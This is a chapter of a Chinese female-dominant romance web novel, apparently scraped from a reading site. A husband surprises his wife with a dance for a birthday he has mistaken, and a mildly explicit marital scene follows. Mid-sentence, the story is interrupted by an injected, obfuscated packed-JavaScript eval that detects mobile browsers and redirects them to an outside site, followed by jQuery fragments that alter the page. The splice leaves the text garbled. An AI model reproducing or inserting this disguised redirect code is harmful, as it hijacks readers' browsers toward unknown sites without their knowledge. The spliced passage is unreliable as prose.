49. 礼物

作品:《帝卿倾心日记(女尊)

    “听说边疆不太安定,皇上很是忧心,连着白潇和摄政王这边也忙得不行,你妻主这几日怕是回去的时间也晚吧?”


    耶律连光捏着白长弦的手指摆正他的动作,随口问着


    “是有些晚,不过总还是赶得上晚膳。”


    “如此说来,她倒也真疼你,不枉你怎么苦学一遭。”


    耶律连光护着小腹,在椅子上坐下


    “连光,肚子里有小孩儿是什么感觉?会不会很重啊?”


    耶律连光近来怀了身孕,月份还小,肉眼还看不出来什么,只是初为人父,总是格外小心着的


    况且,因着这个孩子,宫里那位葛贵君对他的态度可谓是一个大反转,总惦记着要来照顾耶律连光


    若不是他身为贵君不可随意出宫,怕是要直接收拾东西住到二皇女府来盯着耶律连光生下一个小皇孙女出来才算完


    “她月份这样小,倒是还没什么感觉。”


    许是他身子向来比较好,平常男儿怀孕时会有的恶心,乏力或者犯困他都没有,就是有些容易馋


    白长弦小心翼翼地蹲下身子,靠近了耶律连光的小腹,轻轻将手心覆上去感受


    贴了好一会儿,却什么感觉也没有,不免失望地将手放下,一脸幽怨道:


    “小囡囡,你为何不理我?”


    耶律连光被他稚气的举动逗笑,拉着他的手将他带起身来


    “太医说了,孩子现在还小,没办法回应你的,再过几月大些了才有动静。”


    虽然这样说,但白长弦看起来还是有些沮丧


    以往宫中他便是最小的,身边没个妹妹弟弟,后来母皇的那些个新进的侍人就算有孕,他也并不曾和他们相与过


    对于小孩子,他总是会抱着一些好奇的


    “若是喜欢,你便努力些,自己怀一个便知道是什么感觉了。”


    耶律连光意有所指,白长弦自然听出来他话中的意思,想起郁羗儒愈发临近的生辰,悄悄红了脸


    对于白长弦准备给自己生辰惊喜这事儿,郁羗儒也大概猜到了一些


    毕竟以白长弦那样不谨慎的性子,就是问她的喜好竟也是让小竹去向苍耳侧面打听


    这简直比白长弦自己来问她还要明显


    不过既然是他要准备的惊喜,她自然不会揭穿了去,心中也暗暗期待生辰那日的到来


    “叩叩。”


    敲门声传来,郁羗儒从桌案上一堆公务中抬起头来


    “妻主。”


    一抬头,是裹着大麾的白长弦,从门外探出脑袋来看她


    “这么晚了,怎地还过来了?”


    方才白长弦打开门,吹进来的风叫她也有些冻着,于是皱着眉头两步走去将人拉进来,把门关上


    “妻主还没忙完吗?”


    白长弦一张小脸裹在大麾毛茸茸的领子里,关切地问


    “差不多了,怎么,想我了?”


    本也是随意打趣,以为小夫郎会像以往一样红着脸着反驳,没想到他却仰起一张小脸,含羞带怯低声道:


    “嗯。”


    “什么?”


    难得听见他的甜言蜜语,虽然只是回应,郁羗儒得寸进尺地又凑近几分


    “我说,我想你了,妻主。”


    今日的夫郎好像格外乖巧可人,郁羗儒喉间滑动,把人拉进怀中,手也不规矩的滑进大麾里去


    “有多想,可是……”


    话还没说完,指尖触到一片滑腻柔软的皮肤,脑子里要说的话一下断开来


    带着凉意的手掌上温热的腰间,冷热相触间白长弦被惊得缩了一下身子


    “就是……就是这么想的,妻主今夜回房陪我好不好?”


    虽然心中觉得有些羞人,但他还是大着胆子抬起手来垫脚去勾郁羗儒的脖颈,手指用力让她的眼睛直直的看着自己


    郁羗儒被人勾得呼吸都急促了几分,掌着腰的手也微微冒着细汗


    顺着心意低下头,吻上男儿的好看的眉眼,又滑过面颊,落在唇间


    细细碾咬着嫣红饱满的唇肉,灼热的呼吸在两人之间流转


    “呀!”


    脚下腾空,白长弦被人抱着坐上了书桌,压着腰覆着


    唇上的吻愈发深入用力,软滑的舌被凶狠吞吃着,白长弦只觉得舌根都麻了


    “妻……妻主……”


    好容易出声,却连一句完整的话都说不出来,后头的字又叫人吞了进去


    实在架不住郁羗儒的凶狠,白长弦终于找到空隙,抬手挡在两人之间,抵住郁羗儒的肩膀,这才堪堪将她推开了些


    “妻……妻主,我们先回房好不好?”


    女人也轻喘着,闭着眼睛在他颈间细嗅摩挲,声音有些沙哑带着显而易见的情欲


    “了了……”


    “嗯?”


    额头相抵,郁羗儒半睁开眼睛,又轻轻吻过他的唇角,揽在腰间的手也开始不安分的在身后游动


    指尖滑过脊背,引得白长弦一阵战栗


    “回房……房……好不好妻主?”


    抓住郁羗儒乱动的手,白长弦努力找回自己的声音问她


    手被不大的力气抓住,郁羗儒这才终于不再动


    看着白长弦带着明显情动的神色,郁羗儒突然想看看今夜这样主动的小夫郎会纵容她到什么程度


    俯首贴近他的耳边,低声说着什么,之间白长弦的耳根越来越红,等到郁羗儒的唇从他耳侧离开时,耳朵已经红得要滴血一般


    “可以吗?”


    郁羗儒脸上带着顽劣的坏笑,眼睛直勾勾地看着白长弦的唇,以及……大麾下半隐半现的大好光景


    白长弦揪着她的衣领,低头沉默着不说话


    等到郁羗儒都觉得他不会回她这样不规矩的要求时,小郎君却下定决心放弃抵抗一般直直地埋进她怀中,声音闷闷道:


    “好。”


    郁羗儒愣在原地,有些怀疑自己听错了


    “你说什么?”


    以为郁羗儒又故意逗自己,白长弦实在没有脸再把话说一遍了,于是干脆抬手解了自己颈间的大麾系带


    刚要揭开,手背上却覆上了一只手,将他的手握住,制止了动作


    白长弦疑惑地抬头看她


    郁羗儒长叹一口气,捧着他的脸在他额间落下一吻,然后把系带系了回去


    “怎么了?”


    白长弦不明白她为什么突然止住了


    “回房。”


    说完,郁羗儒便一把将重新包裹严实的小夫郎抱进怀中,朝主屋去了


    虽然她确实对那样不同的亲密地点有些心动,但深秋更深露重的,再叫人受凉发热了可不好


    有一次总会有第二次,她们来日方长,大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524722|163884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可以哄着人都试试


    不知道郁羗儒心中乱七八糟的想法,白长弦被人裹着放到了床榻间


    还没来得及说什么便被封住了唇舌


    床帘落下,大麾早已被郁羗儒解开丢到了地上,身上穿着的西域舞衣此时叫人看了个完整


    白长弦不看郁羗儒都能感受到她视线里的灼热


    “哪里来的,嗯?”


    脖颈锁骨间又落下湿热的轻吻,小郎君在她手下轻颤着


    “送的……”


    “谁送的,叫了了穿着这样好看,这礼这么重,为妻得给他回礼不是?”


    郁羗儒摸索了半天,还是没找到解这衣服的办法,皱了皱眉,指尖用力


    察觉到郁羗儒的意图,白长弦连忙握住她的手,制止了她可能要把衣服扯坏的动作


    “不能弄坏!有……有礼物的……”


    “什么礼物?”


    白长弦坐起身来,低头看了看郁羗儒方才用力的地方,见没什么损坏,这才放下心来


    “粗鲁。”


    撅着嘴,低声埋怨道


    “粗鲁?”


    一听这话,郁羗儒眯起眼睛,不爽的掌着下颌抬起他的脸


    “就这么宝贝,谁送的,耶律连光?”


    “嗯。”


    被郁羗儒这么盯着,白长弦心中莫名有些发怵,也觉得自己这话说得有些不对,于是又要解释


    “不是宝贝衣服……”


    “那是宝贝什么?”


    “衣服是要送我,给你……给你……”


    “给我什么?”


    “给你准备生辰礼物的。”


    生辰礼物?郁羗儒顿了一下


    她的生辰不是在明日吗,生辰礼物为何今日穿了来书房找她


    “妻主,生辰快乐。”


    其实本来是应该先跳舞的,只是他在房里等了好久郁羗儒都没来,想来她公事繁忙,于是他这才估摸着时间穿着衣服去寻她


    郁羗儒看着伏在她耳边的小夫郎,心中哭笑不得


    谁能料到,小郎君东问西问,竟然还能将她的生辰问错了


    难怪今日的晚膳他还准备了一碗面,原以为是依着一些地方在生辰前一天吃长寿面的习俗,不料他是真的记错了


    不过现在揭穿怕是会让人羞恼,于是郁羗儒便也将错就错,应下了他的祝福


    “嗯,多谢正君。”


    视线下移,落到白长弦身上的衣服,又补充道:


    “生辰礼,我很喜欢。”


    白长弦羞怯地对她笑着,又坐直了身子道:


    “生辰礼你都还没看呢。”


    “还有什么?”


    郁羗儒挑眉


    之间小郎君提着衣摆,小步下了床榻去,确认门窗都是关好的,又蹑手蹑脚地吹灭了两盏烛火,这才摆好姿势,在忽明忽暗的烛光间舞动


    虽然学起来有些累,但显然这些日子的成效还是相当显著的


    一舞毕,郁羗儒只觉得鼻间一热,抬手间,衣袖上便落下了两滴鲜红


    “妻主?”


    见郁羗儒仓皇失措地跑开,白长弦呆愣地站在原地


    这怎么和连光说的完全不一样?


    当然,等郁羗儒羞愤着把自己处理好,回来时,失了面子的女人闹得格外凶


    试图要在这点上找回一些生为摄政王的尊严